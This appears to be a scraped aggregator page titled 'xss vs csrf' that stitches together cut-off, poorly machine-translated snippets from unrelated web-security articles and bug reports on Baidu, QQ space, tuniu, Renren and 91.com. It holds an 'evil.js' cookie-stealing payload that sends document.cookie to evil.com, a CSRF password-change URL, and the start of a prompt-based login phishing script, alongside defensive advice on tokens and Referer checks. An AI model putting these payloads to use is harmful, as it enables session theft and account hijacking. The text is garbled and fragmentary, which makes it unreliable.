xss vs csrf

box that is referenced in the user's unknown, with a large impact. ========== Gorgeous split line ==========[Part 5]Vulnerability address: http://t.91.com/broadcast/rebroadcast The broadcast may be forwarded if the user is unknown.Solution:Check POST RefererAdd token in POST informationAuthor: imlonghao Everyone is sending the Internet dragon, what SQL Injection ah, CSRF, I also come to join in the fun, last night I went to flip the Internet dragon's

) Processing Rich TextFiltering Rich Text content(5) Defending Dom Based XSSWhen the href or SRC address variable $var output to The XSS payload is written in a remote script to avoid writing a lot of JavaScript code directly in the URL parameters.Evil.js stealing cookies in the following waysvar img = document.createelement ("img");IMG.SRC = "Http://www.evil.com/log?" + Escape (document.cookie); Document.body.appendChild (IMG);This completes the

XSS: Cross-site scripting (Cross-site scripting, often referred to as XSS) is a security vulnerability attack for Web site applications and is a form of code injection. It allows malicious users to inject code into a Web page, and other users will be affected when they view the page. Such attacks typically include HTML and client-side scripting languages. CSRF: C

When xss of chicken ribs is combined with csrf of chicken ribs ....0x01. The album name in the photo album is not escaped, which can cause storage-type xss and steal users' cookies. 0x02. No token is provided for creating the photo album in the image album. You can use csrf to create an account as a user. These two vul

Yii framework prevents SQL injection, xss attacks and csrf attacks, yiixss This article describes how the Yii framework prevents SQL injection, xss attacks, and csrf attacks. We will share this with you for your reference. The details are as follows: Common PHP methods include: /* SQL Injection prevention,

verification code is a bad user experience, not necessary to not easily use the verification code, many of the current practice is that if a short period of time to submit a form is not successful after the request to provide a verification code, This will get a better user experience. Add: Firewall is an important guarantee of web security, Modsecurity is the leader in open source Web firewall. The enterprise firewall should be set up with a level two firewall, the Web server and some

XSS: Cross Site Scripting Attack (Scripting). XSS leverages trusted users within the site. Malicious attackers insert malicious HTML code into a Web page when the user browses to the page, HTML code embedded inside the web will be executed to achieve the special purpose of malicious attacks on the user. The fundamental way of XSS is to filter user input. An attac

A Baidu website can be associated with a csrf and xss account hijacking. It was originally a self-xss account. Later, I thought it was possible to work with csrf. Today I found that someone has done this!Baidu dictionary-my dictionary Add a new word to the new word base. If the remarks are not filtered, add js directly

Tags: structure mode referer expression successfully evaluates site minimum attackAn XSS (cross site script) is an attack that injects malicious script into a Web page to execute malicious script in the user's browser when the user browses the Web page. There are two types of cross-site scripting attacks: A reflective attack that convinces a user to click on a link that embeds a malicious script to reach the target of an attack, and there are many att

about security issues: (Xss,csrf,cors,jsonp, homologous policy)Ajax is a way to get data from the server without having to refresh the page. Its core object is XHR, the same Origin policy is an AJAX constraint, it sets the same protocol for communication, the same domain name, the same port. For this reason, access to resources is not available, so there are several ways to solve this problem, first: cross-

Use the QQ space storage XSS vulnerability with the CSRF vulnerability to hijack other website accounts (sensitive tag 403 interception can bypass \ 403 bypass) 1. All tests are from the fuzz test (all are determined based on the returned content. If any judgment error occurs, sorry)2. the XSS output point is not filtered. However, if a sensitive tag keyword is e

Using FLASH to access the network causes XSS, CSRF, etc. Server crossdomain. the only cross-origin restriction policy for xml file flash is crossdomain. xml file, so we have to explain crossdomain. what is xml. when the file is located, SWF first checks. If not, the access fails. If crossdomain. if the xml file exists and allow exists, the communication is normal. The key to enabling Flash to transmit data

I remember using this in an interview, but the interviewer thought it was not feasible. I think it is feasible for users to be caught by X.1. Some XSS: http://m.tuniu.com /? Action = route id = 329846 pdate = todo = index 2. Change the password CSRF: http://www.tuniu.com/main.php? Do = user_do_change_password old = 123456 new = password pwd_s = 1 3. create external JS: var pass; pass = prompt ("Login

An xss and csrf are triggered when the Administrator reviews the relevant information. No related filtering in Renren advertising system registration, insert scriptAfter submission, you must manually review it. Later, we found that this xss can be played, indicating that it can also be played on the administrator interface. And the submission form has

CSRF: Cross-site request forgery.Attack principle: A user logged on to a trusted site A, after authentication a will be issued a cookie, at this time the user opened another dangerous site b,b to entice the user to click on the connection (the link will access A's interface), because this time will carry a cookie, site A that the request is legitimate, The request was executed.Precautionary measures:1. Add token to the interface2.refer authentication,

The problem lies in subscription management. It is obvious that it is okay to create a directory with the UNICODE code ~~ It is a pity that the location is not very obvious, so we can see how to use it .. So I thought of combining CSRF to implant XSS code. Therefore, see the vulnerability proof. -------------------- Method of exploits: user access to the Trojan page | C